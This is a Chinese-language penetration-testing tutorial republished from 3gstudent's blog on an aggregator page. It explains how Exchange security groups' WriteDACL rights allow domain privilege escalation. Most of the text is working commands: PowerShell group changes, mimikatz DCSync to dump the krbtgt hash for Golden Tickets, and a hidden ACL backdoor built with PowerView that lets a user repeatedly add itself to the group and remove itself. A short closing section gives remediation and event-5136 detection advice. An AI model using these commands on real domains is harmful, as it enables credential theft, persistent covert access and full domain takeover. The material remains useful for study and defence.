15

域渗透——使用Exchange服务器中特定的ACL实现域提权

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

域渗透——使用Exchange服务器中特定的ACL实现域提权


最近学到的一个域环境下的提权技巧,在域环境中,安装Exchange后会添加一个名为Microsoft Exchange Security Groups的OU,其中包括两个特殊的组:Exchange Trusted SubsystemExchange Windows Permission,如果获得了这两个组内任意用户的控制权限,就能够继承该组的WriteDACL权限,进而修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash。接下来可以使用域用户krbtgt的hash制作Golden Ticket,登录域控制器,获得对整个域的控制权限。

学习资料:

https://github.com/gdedrouas/Exchange-AD-Privesc

本文将会记录复现过程,介绍利用这个机制建立提权后门的方法,详细介绍使用PowerView对域对象ACL的操作方法,最后给出检测和防御建议。

0x01 简介


本文将要介绍以下内容:

  • 提权方法复现
  • 建立提权后门的方法
  • 检测和防御建议

0x02 提权方法复现


测试环境:

  • Server2012R2 x64
  • Exchange 2013

1.常用缩写词

  • DN:Distinguished Name
  • CN:Common Name
  • OU:Organizational Unit
  • DC:Domain Component
  • ACE:Access Control Entries
  • ACL:Access Control List

LDAP连接服务器的连接字串格式为:ldap://servername/DN

其中DN有三个属性,分别是CN、OU和DC

2.安装Exchange后默认会自动添加一个名为Microsoft Exchange Security Groups的OU

Alt text

其中包括两个特殊的组:Exchange Trusted SubsystemExchange Windows Permission

Exchange Trusted SubsystemExchange Windows Permission的成员

Alt text

默认情况下,Exchange Windows Permissions对安装Exchange的域对象具有WriteDACL权限,那么Exchange Trusted Subsystem也会继承这个权限

3.如果对域对象具有WriteDACL权限,就能够为指定域用户添加ACE,使其获得利用DCSync导出域内所有用户hash的权限,接下来可以使用域用户krbtgt的hash制作Golden Ticket,登录域控制器,获得对整个域的控制权限

详细利用方法可参考之前的文章:《域渗透——DCSync》

4.使用PowerView能够对域对象的ACL进行操作

值得注意的是PowerView存在两个版本,有些功能只在dev版本中支持,两个版本的地址分别为:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

这个细节在之前的文章《域渗透——AdminSDHolder》有过介绍

这里以Exchange Trusted Subsystem作为测试对象,测试用户testa的口令已经获得,先将测试用户testa添加到Exchange Trusted Subsystem

Powershell命令如下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

对于未安装Active Directory模块的Windows系统,可以通过如下命令导入Active Directory模块:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,我已经提取出来并上传至github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

添加成功后如下图

Alt text

接下来,在另一台域内主机上完成所有提权的操作

1.登录用户testa

echo 123456789 | runas /user:test\testa cmd

如果在测试过程中,第一次将测试用户testa添加到Exchange Trusted Subsystem中,那么用户testa需要重新登录才能继承WriteDACL权限

查看用户testa所在的组:

whoami /groups

发现用户testa成功加入Exchange Trusted Subsystem组,如下图

Alt text

2.使用mimikatz的DCSync功能导出用户krbtgt的hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

成功导出用户krbtgt的hash,如下图

Alt text

接下来可以使用域用户krbtgt的hash制作Golden Ticket,登录域控制器,获得对整个域的控制权限

经过多次测试,得出以下结论:

如果获得了以下三个组内任意用户的权限,都能够利用DCSync导出域内所有用户hash

组名如下:

  • Exchange Trusted Subsystem
  • Exchange Windows Permission
  • Organization Management

0x03 建立提权后门的方法


如果获得了整个域的控制权限,可以利用Exchange中的ACL作为域提权的后门

方法1:直接在Exchange的三个组内添加后门用户

这里以Exchange Trusted Subsystem为例

Powershell命令如下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

但是不够隐蔽,很容易被发现添加的用户

查看的命令如下:

net group "Exchange Trusted Subsystem" /domain

方法2:只添加特定用户对Exchange中三个组ACL的控制权限

这里以Exchange Trusted Subsystem为例

1.首先需要找到Exchange Trusted Subsystem的DN(Distinguished Name)

需要使用Powerview的dev版本,地址如下:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

查看所有DN的Powershell命令如下:

Import-Module .\PowerView.ps1
Get-DomainObject -Properties distinguishedname |fl

找到Exchange Trusted Subsystem的DN为:CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com

2.查看Exchange Trusted Subsystem的ACL

Powershell命令如下:

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com"

3.获得Exchange Trusted Subsystem的原始数据

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw

4.添加后门用户testb对Exchange Trusted Subsystem的完全访问权限

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

补充:

移除后门用户testb对Exchange Trusted Subsystem的完全访问权限:

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

5.查看用户testb的sid

Get-DomainUser testb
Alt text

用户testb的objectsid为S-1-5-21-1672228480-1396590849-334771951-2105

6.查看属于新添加用户testb的ACE

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" | Where-Object {$_.SecurityIdentifier -eq "S-1-5-21-1672228480-1396590849-334771951-2105"}
Alt text

至此,后门安装成功

此时查看Exchange Trusted Subsystem组的用户:

net group "Exchange Trusted Subsystem" /domain

无法发现后门用户testb

后门启动方法

1.在另一台域内主机上登录用户testb

echo 123456789 | runas /user:test\testb cmd

2.将用户testb添加到Exchange Trusted Subsystem

由于用户testb有对Exchange Trusted Subsystem的完全访问权限,所以能够将自己添加到Exchange Trusted Subsystem组中

Powershell命令如下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb

3.重新登录用户testb

echo 123456789 | runas /user:test\testb cmd

4.使用mimikatz的DCSync功能导出用户krbtgt的hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

5.将用户testb从Exchange Trusted Subsystem组中移除

Powershell命令如下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Remove-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb -confirm:$false

由于用户testb具有对Exchange Trusted Subsystem的完全访问权限,所以能够反复将自己添加或是移除Exchange Trusted Subsystem

0x04 检测和防御建议


从根源上修复:去除Exchange Windows Permissions的WriteDACL权限

可供参考的脚本:

https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1

日志检测:

需要开启Active Directory的高级安全审核策略,当域对象的ACL被修改后,将产生ID为5136的日志

参考资料:

https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

0x05 小结


本文记录了使用Exchange中特定ACL进行提权的过程,分析了利用条件,结合这个机制介绍了一个提权后门的利用方法,最后给出检测和防御建议。


LEAVE A REPLY

Written on September 22, 2019

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK